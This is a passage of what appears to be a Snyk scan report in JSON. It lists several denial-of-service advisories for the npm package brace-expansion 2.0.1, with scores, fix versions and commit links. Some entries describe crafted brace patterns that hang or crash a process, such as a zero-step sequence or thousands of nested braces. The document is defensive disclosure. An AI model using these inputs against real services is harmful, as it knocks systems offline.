"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.3",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.3",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.3",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.3",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.3",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.3",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
